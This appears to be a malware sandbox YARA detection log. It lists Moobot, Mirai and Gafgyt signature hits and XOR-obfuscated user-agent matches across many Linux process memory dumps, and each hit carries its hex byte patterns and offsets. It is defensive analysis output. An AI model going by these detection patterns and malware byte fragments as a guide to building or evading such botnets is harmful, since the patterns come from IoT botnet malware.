6385.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6385.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6385.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6385.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6385.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6339.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6339.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6339.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6339.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6339.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6339.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7002.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6913.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7161.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7161.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7161.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7161.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7161.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7161.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6537.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6927.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7138.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7138.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7138.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7138.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7138.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7138.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6658.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6658.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6658.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6658.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6658.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6658.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6321.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6496.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6496.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6496.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6496.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6496.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 